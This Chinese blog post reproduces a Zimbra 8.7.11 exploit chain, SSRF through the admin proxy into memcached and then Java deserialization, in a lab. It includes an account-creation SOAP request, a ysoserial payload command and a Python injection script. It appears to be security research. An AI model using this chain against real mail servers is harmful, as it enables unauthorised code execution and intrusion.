前言
之前懶了一下,沒復現memcached反序列化的部分。
在看本文之前請先看完上一篇復現:
https://blog.csdn.net/fnmsd/article/details/88657083
本篇復現基於8.7.11進行復現,就是官網上直接下的。
純技術研究,請勿使用在非法用途。
環境搭建
直接用docker,https://hub.docker.com/r/jorgedlcruz/zimbra
docker pull jorgedlcruz/zimbra
docker run -p 25:25 -p 80:80 -p 465:465 -p 587:587 -p 110:110 -p 143:143 -p 993:993 -p 995:995 -p 443:443 -p 8080:8080 -p 8443:8443 -p 7071:7071 -p 9071:9071 -h zimbra-docker.zimbra.io --dns 127.0.0.1 --dns 8.8.8.8 -i -t -e PASSWORD=Zimbra2017 jorgedlcruz/zimbra
如果過程失敗就在啓動完的終端裏執行一次
cd /opt/zimbra-install/zcs-* && ./install.sh -s < /opt/zimbra-install/installZimbra-keystrokes
,基本都是網絡問題,重執行幾次就好了。如果安裝出了問題需要手工執行如下命令:
/opt/zimbra/libexec/zmsetup.pl -c /opt/zimbra-install/installZimbraScript
su - zimbra -c 'zmcontrol restart'
具體安裝過程看docker中的/opt/start.sh
題外話:其實端口不映射出來也沒問題,直接訪問相應的docker ip就好(172.17.0.2之類的)
獲取普通用戶
由於memcached的反序列化與郵箱賬戶有關,此處我們需要一個普通的郵箱。
方法一:通過Admin接口創建用戶
依然是通過Proxy走admin soap接口,name需要是個郵箱地址,password6位以上
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
<authToken>***ADMIN_AUTH_TOKEN***</authToken>
</context>
</soap:Header>
<soap:Body>
<CreateAccountRequest name="[email protected]" password="test12345" xmlns="urn:zimbraAdmin">
</CreateAccountRequest>
</soap:Body>
</soap:Envelope>
方法二:通過爆破獲取
由於Proxy的代碼邏輯問題,導致普通賬號的Token也可訪問Proxy,所以也可以用爆破或者其它方法獲取賬戶。
使用普通賬戶登陸 AuthRequest的account by設置爲name即可,詳細說明看《A Saga of Code Executions on Zimbra>。
後面需要用到id,爆破賬號的ID可以在web頁面登陸後的源碼中獲取:
SSRF to Memcached 反序列化
題外話:其實Zimbra的memcached默認是開在0.0.0.0上的,似乎是從memcached反射放大ddos開始Zimbra官方建議開到127.0.0.1.
在單機模式下,Imap的zimbraMemcachedClientServerList默認爲空,無法使用ImapSession的反序列化,所以需要自己命令行設置下:
su - zimbra
zmprov ms `zmhostname` zimbraMemcachedClientServerList 127.0.0.1
zmcontrol restart #記得重啓,其實應該可以直接reload的
然後要拼memcached的Key,此處直接盜圖:
cacheKey的規則如下:
zmImap:<accountId>:<folderNo>:<modseq>:<uidvalidity>
accountId就是上面添加用戶返回的ID,也可以通過登陸zimbra首頁獲取,可能還有別的方法,此處不深究。
folderNo就保持2就好了,代表inbox
modseq和uidvalidity可以通過登陸imap獲取,有關imap的協議請看這,獲取完記得退出。盜圖again:
下面生成payload,需要更新ysoserial並重新打包
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar MozillaRhino2 "/bin/touch /tmp/test12345" > wakaka.obj
一個簡單的請求腳本:
import requests
accountid = "1800dbfe-a197-4d73-bab5-87397a4757e1"
folderNo= 2
modseq = 12
uidvalidity = 1
cacheKey ="zmImap:{accountId}:{folderNo}:{modseq}:{uidvalidity}".format(accountId=accountid,folderNo=str(folderNo),modseq=str(modseq),uidvalidity=str(uidvalidity))
print(cacheKey)
with open(r"wakaka.obj","rb") as f:
payload = f.read()
set_command = b"set {cacheKey} 2048 3600 {payloadsize}\r\n".format(cacheKey=cacheKey,payloadsize=str(len(payload)))+payload+"\r\n"
headers = {
"Cookie":"ZM_ADMIN_AUTH_TOKEN=token~~;",
"host":"foo:7071"
}
r = requests.post("https://127.0.0.1/service/proxy?target=http://127.0.0.1:11211",data=set_command,headers=headers,verify=False)
等幾秒就可以Ctrl+C了。
imap的log看/opt/zimbra/log/mailbox.log
再次imap登陸同一賬號並select inbox
查看/tmp目錄
成功執行了命令
一點思考:
在有zimbra管理賬號的情況下:
- 是否可以上傳上傳用插件或者其他自編寫惡意插件?
- 是否可以用soap API去設置zimbraMemcachedClientServerList並重新加載memcached設置?(ZimbraAdmin API中有ReloadMemcachedClientConfig這麼個東西)
在有隻有普通賬號的情況:
- 能不能繞過proxy對請求頭的過濾,達到一個任意內網訪問代理的功能?
這些就哪天不懶的時候再說了:-D